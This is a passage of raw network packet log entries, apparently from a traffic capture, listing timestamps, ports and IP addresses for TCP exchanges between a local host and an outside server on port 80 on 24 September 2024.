Sep 24, 2024 21:30:12.011092901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.011122942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.011157036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.011174917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.011189938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.011197090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.011221886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.011239052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.011265039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012041092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012101889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012149096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012177944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012200117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012217999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012227058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012264967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012280941 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012299061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012310028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012332916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012341976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012368917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012378931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012419939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012645960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012700081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012703896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012734890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012744904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012778997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012860060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012892008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012909889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012924910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012938976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.012962103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.012981892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.013009071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.013729095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.013782024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.013784885 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.013816118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.013824940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.013864040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.013900995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.013933897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.013952971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.013967991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.013968945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014010906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.014023066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014062881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014369965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.014424086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.014425039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014465094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014476061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.014512062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.014522076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014560938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014566898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.014600992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.014616966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014636040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.014647961 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014669895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.014688969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.014714956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015032053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015064955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015089035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015099049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015113115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015135050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015144110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015172005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015172005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015206099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015216112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015253067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015278101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015311003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015328884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015343904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015352964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015405893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015441895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015475035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015496016 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015510082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015523911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015544891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015557051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015578985 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015593052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015614986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.015625000 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.015666008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016127110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016180038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016181946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016212940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016226053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016247034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016252995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016282082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016290903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016315937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016329050 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016350031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016364098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016386986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016397953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016434908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016486883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016535044 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016567945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016601086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016617060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016679049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016699076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016731977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016756058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016765118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016776085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016798973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016808987 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016834021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016846895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016875029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016927958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016961098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016979933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.016993999 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.016998053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.017029047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.017040014 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.017064095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.017071962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.017098904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.017111063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.017133951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.017165899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.017180920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.017863989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.017896891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.017925024 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.017930984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.017940998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.017967939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.017986059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.018003941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.018016100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.018038034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.018048048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.018079042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.018121958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.018153906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.018168926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.018196106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.096927881 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.096990108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.096991062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097026110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097037077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097070932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097100019 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097132921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097145081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097168922 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097173929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097206116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097212076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097249031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097385883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097419977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097443104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097454071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097459078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097497940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097589970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097637892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097687006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097724915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097744942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097760916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097774982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097814083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097826004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097843885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097850084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097877026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097894907 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097912073 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097923994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097945929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097958088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.097981930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.097991943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.098021984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.098052025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.098084927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.098097086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.098126888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099001884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099056005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099056959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099090099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099100113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099147081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099189043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099222898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099245071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099265099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099267006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099309921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099338055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099370956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099419117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099419117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099442005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099488974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099540949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099575996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099600077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099612951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099698067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099730015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099755049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099772930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099822044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099852085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099878073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099884987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099895954 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099920034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099932909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099955082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.099961996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.099993944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.100008011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.100027084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.100045919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.100060940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.100075960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.100095034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.100105047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.100127935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.100142002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.100172043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.100792885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.100842953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.100903988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.100949049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.100960016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.100994110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101006985 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101038933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101074934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101108074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101119041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101151943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101174116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101212025 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101219893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101257086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101303101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101341009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101351976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101397038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101452112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101485014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101497889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101520061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101532936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101555109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.101566076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.101597071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.102536917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.102571011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.102585077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.102607012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.102616072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.102642059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.102653027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.102686882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.102727890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.102762938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.102773905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.102797031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.102807045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.102843046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103071928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103117943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103123903 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103157043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103171110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103198051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103204012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103234053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103245974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103267908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103286982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103302002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103317976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103338003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103344917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103398085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103401899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103445053 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103468895 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103502989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103518009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103547096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103598118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103631973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103646040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103665113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103684902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103698969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103708029 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103734016 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103743076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103775978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103810072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103843927 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103858948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103887081 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.103946924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103981018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.103997946 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.104013920 CEST	80	49730	193.233.113.184	192.168.2.4
